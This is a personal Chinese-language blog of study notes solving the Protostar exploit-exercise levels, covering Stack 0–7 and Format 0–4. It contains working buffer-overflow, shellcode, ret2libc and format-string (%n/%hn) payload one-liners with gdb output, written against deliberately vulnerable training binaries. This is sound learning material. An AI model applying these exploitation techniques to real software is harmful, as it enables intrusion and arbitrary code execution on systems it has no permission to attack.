Silver

所有小说写的都是真事。怕吓着你们才叫小声说。
——王朔

Protostar学习笔记

Last updated:Jan.29, 2016 CST 20:29:27

正在学习二进制安全,经糖果牛介绍,知道了还有Protostar这么个好玩的东西。实际说来,Protostar是Exploit Exercise网站下四个供安全学习用的镜像之一,除了这个以外,还有其他四个环境,分别是Nebula(Linux基础),Fusion(相当于Protostar的高难度版本),Main Sequence(似乎是Ruxcon 2012的真题)和Cloud Road(应该是Ruxcon 2014的题),具体的可以去他们的官网查阅。(另外官网上对于题目已经给出了足够的提示,因此这里的笔记只起两个作用了,一是我自己对少数题目的解法,二是我在学习过程中的点滴思考,只是对自己想法的记录。如果您感觉有一定的参考意义,那将是我的荣幸。如果您觉得这里应该公布标准答案,请移驾本处

更新并不定期。

工作的环境配置如下:

# /bin/bash
[email protected]:~$ su
[email protected]:/# echo '1' > /proc/sys/fs/suid_dumpable
[email protected]:/# exit
[email protected]:~$ gdb -q
(gdb) set disassemble-flavor

那么下面就是正文了。


4/13/2015更新

Stack系列

Level 0~2

都是相当简单的缓冲区溢出,只不过方式稍有不同。Lv0的话,只要你输入的数量足够,就能通过了。但这没意思了不是,尝试一下最少需要多少个字符完成任务,再结合源码中在栈上分配的空间大小,要了解细节还算是比较轻松的。而Lv1则加入了对特定字符的限制,除了考查内存分配以外,还要知道小端机器是如何在内存中存放数据的。Lv2感觉是给我一个新思路,原来只知道用户输入可能有漏洞,没想过环境变量也是个靶点,看来思路还不宽。

这部分因为是中午要睡觉,所以也没太细看,简单走了几步就过去了,不过顺手搜到个很好用的trick:

export foo=`perl -e 'print "\x50\x9a\x05\x40"'`

Level 3

直接disas main会发现使用了函数指针,不过函数指针并没有被赋值。然后敲i fun可以看到有一个名为win的函数存在,但是并没有被使用到。disas win可看到将0x8048540处的字符串输出,也就是说需要使函数指针指向win。disas main可以看到编译器在栈上为输入数据分配了0x40=64个空间,因此POC如下:

perl -e 'print "a"x64 . "\x24\x84\x04\x08"' | ./stack3

4/15/2015更新

Level 4

注意这里编译器生成的代码:

and esp, 0xfffffff0

自己写了个调用gets()的程序,发现这句话是编译器自己加上去的,似乎只是为了对齐用。因此我们的POC需要重新计算(记得包括ebp和这个偏移量):

perl -e 'print "a"x76 . "\x24\x84\x04\x08"' | ./stack3

(76=64+0x08+0x04)
但是关于这个偏移量产生的原因,似乎还可以追一下。留待有时间看看。

Level 5

i fun并没有什么卵用。disas似乎也并没有什么作用。去官网上看了下,原来是要你构造个shellcode放进去。看了下相关配置,栈执行已经关掉了,好办。

先来看下代码:

push    ebp
mov     ebp, esp
and     esp, 0xfffffff0
sub     esp, 0x50
lea     eax, [esp+0x10]
mov     DWORD PTR [esp], eax
call    <[email protected]>
leave
ret

那么压入栈中的返回地址是esp+(0x50-0x08+0x04=)76==esp+0x4c,输入的数据存放在esp+0x10(本环境下esp=0xbffff7c0)。先确定下:

perl -e 'print "\xcc"x76 . "\xd0\xf7\xff\xbf"' > '~/test.in'
<Alt+F2>
(gdb) r 
Starting program: /opt/protostar/bin/stack5 < ~/test.in

Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffff7d1 in ??()
(gdb) x /20x 0xbffff7d0
0xbffff7d0: 0xcccccccc  0xcccccccc  0xcccccccc  0xcccccccc
......
0xbffff810: 0xcccccccc  0xcccccccc  0xcccccccc  0xbffff7d0
(gdb) i reg esp ebp
esp         0xbffff820  0xbffff820
ebp         0xcccccccc  0xcccccccc

看来是没问题了。那么现在写下shellcode,弹个……日历吧。感谢这家这家的大力支持,得到了shellcode如下:

#base: 0xbffff7d0+0x1c个nop
#-1:  90                      nop
#00:  31 c0                   xor    eax,eax
#02:  a3 08 f8 ff bf          mov    ds:0xbffff808,eax
#07:  b0 0b                   mov    al,0xb
#09:  bb 0c f8 ff bf          mov    ebx,0xbffff80c
#0e:  b9 04 f8 ff bf          mov    ecx,0xbffff804
#13: 8b 15 08 f8 ff bf       mov    edx,DWORD PTR ds:0xbffff808
#19: cd 80                   int    0x80
#0xbffff7fc:                        0xbffff808 0x06198904
#0xbffff80c: /usr       /bin        /cal        0x00000000
#0xbffff81c: 0xbffff7d0 <----TARGET!
perl -e 'print "\x90" . "\x90"x24 . "\x31\xC0\xA3\x08\xF8\xFF\xBF\xB0\x0B\xBB\x0C\xF8\xFF\xBF\xB9\x04\xF8\xFF\xBF\x8B\x15\x08\xF8\xFF\xBF\xCD\x80" . "\x08\xf8\xff\xbf\x06\x19\x89\x04" . "/usr/bin/cal" . "\x00"x4 . "\xd0\xf7\xff\xbf"' > ~/test.in

先是把第一个nop换成了0xcc,下了个中断调了下,果然有问题,偏移量计算的不对,所以多加了三个\x00做个补丁。总体还是很容易看的,al里放上0x0b然后填参数,调用int80h,相当于执行execve()。这个函数会把控制权交给ebx指向的字符串所确定的程序,也就是日历了。效果如下:

(gdb) r
Starting program: /opt/protostar/bin/stack5 < ~/test.in
Executing new program: /usr/bin/ncal
     April 2015
Su     5 12 19 26
Mo     6 13 20 27
Tu     7 14 21 28
We  1  8 15 22 29
Th  2  9 16 23 30
Fr  3 10 17 24
Sa  4 11 18 25

Program exited normally.

似乎是因为并没有覆盖到目标之外的栈帧,execve还帮助清理了上下文,所以并没有Segment Error。这种攻击方式似乎有时候会很无趣 ,毕竟能覆盖的区域不一定够。此外这个exp只能在gdb下用,因为gdb下的内存分布和一般的内存分布似乎并不一样。这个问题将在下面的这道题中给出一个解法。


4/27/2015更新(这个人正在狂补大物,嗯)

Level 6

getpath函数,翻译过来大致是这样的:

void getpath(void)
{
//offset:0x08048484
//08048484 55                     push   ebp
//08048485 89 e5                  mov    ebp,esp
//08048487 83 ec 68               sub    esp,0x68
//allocated 0x68 on stack

//0804848a b8 d0 85 04 08         mov    eax,0x80485d0
//0804848f 89 04 24               mov    DWORD PTR [esp],eax
//08048492 e8 29 ff ff ff         call   0x080483c0 <[email protected]>
    printf("input path please: ");  //*0x080485d0=="input path please: "

//08048497 a1 20 97 04 08         mov    eax,ds:0x8049720
//0804849c 89 04 24               mov    DWORD PTR [esp],eax
//0804849f e8 0c ff ff ff         call   0x080483b0 <[email protected]>
    fflush(stdout);     //0x08049720==stdout

//080484a4 8d 45 b4               lea    eax,[ebp-0x4c]
//080484a7 89 04 24               mov    DWORD PTR [esp],eax
//080484aa e8 d1 fe ff ff         call   0x08048380 <[email protected]>
    gets(ebp-0x4c);     //result stored in ebp-0x4c, aka. esp+0x1c

//080484af 8b 45 04               mov    eax,DWORD PTR [ebp+0x4]
//080484b2 89 45 f4               mov    DWORD PTR [ebp-0xc],eax
//080484b5 8b 45 f4               mov    eax,DWORD PTR [ebp-0xc]
//080484b8 25 00 00 00 bf         and    eax,0xbf000000
//080484bd 3d 00 00 00 bf         cmp    eax,0xbf000000
//080484c2 75 20                  jne    loc_080484e4
//  these code checked the stack, and if return ptr is not 
//      modified, the program will jump to loc_080484e4, 
//      or will report an error.
//  only when the execute code is in the stack, the system 
//      will work 

//080484c4 b8 e4 85 04 08         mov    eax,0x80485e4
//080484c9 8b 55 f4               mov    edx,DWORD PTR [ebp-0xc]
//080484cc 89 54 24 04            mov    DWORD PTR [esp+0x4],edx
//080484d0 89 04 24               mov    DWORD PTR [esp],eax
//080484d3 e8 e8 fe ff ff         call   0x080483c0 <[email protected]>
    printf("bzzzt (%p)\n", *(ebp+0x4)); //show the ret addr

//080484d8 c7 04 24 01 00 00 00   mov    DWORD PTR [esp],0x1
//080484df e8 bc fe ff ff         call   0x080483a0
    exit(1);

//                          loc_080484e4:                         
//080484e4 b8 f0 85 04 08         mov    eax,0x80485f0
//080484e9 8d 55 b4               lea    edx,[ebp-0x4c]
//080484ec 89 54 24 04            mov    DWORD PTR [esp+0x4],edx
//080484f0 89 04 24               mov    DWORD PTR [esp],eax
//080484f3 e8 c8 fe ff ff         call   0x080483c0 <[email protected]>
    printf("got path %s\n", ebp-0x4c);

//080484f8 c9                     leave  
//080484f9 c3                     ret
}
/*
0 
| [esp=org_addr] ....
|                ....
| [esp+0x1c]     char input[0x40]
|                ...
| [esp+0x5c]     void* v1
|                ...
| [ebp=esp+0x68] OLD EBP     == 0xbffff818
| [esp+0x6c]         RETURN ADDR == 0x08048505
V 
F 
*/   

自带保护……棒透了。那么显然没办法任意执行自己的代码了,不过,返回地址仍然是可以覆盖的。先断下来看看有没有什么可以用的东西吧(笑:

(gdb) i func system
...
File ../sysdeps/posix/system.c:
int __libc_system(const char *);
static int do_system(const char *);
(gdb) p system
$2 = {...} 0xb7ecffb0 <__libc_system>

果然有东西。system是C里面的一个函数,通常的用法是这样的:

int main(void)
{
    //...
    system("whoami");
    //...

    return 0;
}

源程序虽然检查了返回地址,但只是要求返回地址不得位于栈中。我们只要让他去调用system(Question:这个system是位于哪里的?),然后传进去自己的参数就ok了。注意到有一个bzzzt的提示,可以提醒数据已经到了边界,所以确定下地址:

[email protected]:/opt/protostar/bin$ perl -e 'print "\xbf\x67\x68\x69"x20 . "\xbf\xbf\xbf\xbf"' | ./stack6
input path please: bzzzt (0xbfbfbfbf)

少一组就不好用,多一组就segmentation error。Bingo!可供我们填充的字节为0x50个,之后的四个字节就是返回地址了。那么exp布局如下:

#</usr/bin/whoami>.<fillings(and here is end)>.<0xb7ecffb0>.<0xb7ec60c0>.<0xbffff7fc>.<0x04198906>
[email protected]:/opt/protostar/bin$ perl -e 'print "/usr/bin/whoami;#" . "F"x63 . "\xb0\xff\xec\xb7" . "\xc0\x60\xec\xb7" . "\xfc\xf7\xff\xbf" . "\x06\x89\x19\x04"' | ./stack6

解释下。根据这里的说明,被调用函数所看到的栈中的情况是:

|FFFFFFFF|------------------>|00000000|
|ret addr| param 1 | param 2 |........|

调用system()的时候,需要下一条指令执行exit(),并且带有一个字符串指针作为参数;调用exit()之后,下一条指令是什么对我们并没有什么卵用(因为退出了),只要保证给一个退出的值就可以了。检查转储文件后可以发现,我们的输入数据是从0xbffff7fc处开始存放的,因此就有了这个exp。

之后回头看了下protostar上的文档,发现这个检查实际是利用的 __builtin_return_address 这个函数检查栈帧。留下备用~

Level 7

目前并没做出来。


4/29/2015更新
参考了其他人的做法,是找到不会被限制的一个ret。之前都是通过覆写栈来覆盖返回地址的方法,ret后执行目标代码,换句话说是控制PC的值。那么让第一次ret出的地址指向另一个ret,而跳转目标的地址恰好在执行第一个ret前的[esp+0x08]处,就可以绕过对[esp+0x04]的检查。

但是……有没有其他有趣的方法呢?

走到死路口之前先不写这种方法的poc了。


4/30/2015更新
double ret

Format[0..4]

这组练习均是有关于格式化字符串漏洞的。如果你刚开始学习C语言,还应该参考下维基百科上关于格式化字符串的有关文章。

总体上看,这类漏洞的根源在于POSIX标准中的变参函数。我们都知道,stdcall调用方式是通过将参数压入栈中完成参数传递的,而被调用的函数应该从栈中取出各参数。而POSIX标准为了支持变参函数,提供了va_start、va_end、va_arg和va_list用来支持其工作。然而,在标准中,对函数参数个数的传递并没有要求,因此被调用函数需要自行决定取出多少参数。

这种情况下,printf等处理格式化字符串的方法是,对格式化字符串中的字符分别处理,遇到特定的转义字符(如%d、%c等等)后再调用va_arg从栈中取出函数。这种方式的问题在于,当格式化字符串可以被控制时,内存里的内容也就可以被随意读取了。此外,由于printf函数提供了%n用来向某个参数内写入数值,这造成了对内存的任意写。

Format 0

程序逻辑是,将输入的字符串解析之后,输出结果送至到另一个字符串中,之后检测某个特定位置的值是否为deadbeef。因此,我们只要做好padding即可:

./format0 `python -c 'print "%64d\xef\xbe\xad\xde"'`

Format 1

程序读入启动参数并展示,而要求我们修改内存中指定地址处的值。修改值需要用到%n,它接受的参数是一个指向可写内存区域的地址。因此可以这样先找出我们的地址:

for i in {1..300}; do ./format1 `echo -ne "\x38\x96\x04\x08%$i\\$x"`; echo; done | nl | grep 9638
   127  88049638

构造:

[email protected]:/opt/protostar/bin$ ./format1 `echo -ne '\x38\x96\x04\x08%127$n'` 
8you have modified the target :)

不同机器上,运行结果可能也有不同,这与装载器有关。

Format 2

这次我们要控制改写的值为0x40=64。%n的作用是将已经显示的字符数写入对应地址处,那么我们要写入64的话,应该加的padding为64-4byte地址=60,则:

[email protected]:/opt/protostar/bin$ echo -ne "\xe4\x96\x04\x08%060x%4\$n\n" | ./format2    
鋿000000000000000000000000000000000000000000000000000000000200
you have modified the target :)

Format 3

为了写入0x1025544,我们仍然可以用Format2的方法:

echo -ne "\xf4\x96\x04\x08%16930112c%12\$n" | ./format3

但是,要输出这么多的字符,等待时间太长了。因此,我们每次写入2字节,那么:

echo -ne "\xf6\x96\x04\x08\xf4\x96\x04\x08%21820c%13\$hn%43966c%12\$hn"  | ./format3

echo -ne "\xf6\x96\x04\x08\xf4\x96\x04\x08%250c%12\$hn%21570c%13\$hn"  | ./format3

这里我们使用%hn,控制每次写入2字节。几个参数的计算方法如下:

0x1025544 = 0x0102 << 16 + 0x5544
0x0102 = 258; 258 - 8 = 250
0x5544 - 0x0102 = 21570

Y = 0x218-0x208 = 0x10
X = +0x18 + 0x4 = 0x1C
(X+Y)/4+1 = 12  //indicates the first one to extract

Format 4

为了让程序在printf后,不执行_exit,而去执行hello函数,我们需要改写plt表。关于plt表的相关内容可以参考《程序员的自我修养》一书,这里给出exp:

echo -ne "\x25\x97\x04\x08\x24\x97\x04\x08%033964c%5\$n%0491472c%4\$n\n" | ./format4

但其实,我们只需要修改一个字节就可以达到相同目的:

echo -ne "\x24\x97\x04\x08%33968u%4\$hn" | ./format4
....
code execution redirected! you win

注意,这里为了防止地址被破坏,还是需要写入两个字节。

Contact webmaster at:
[email protected]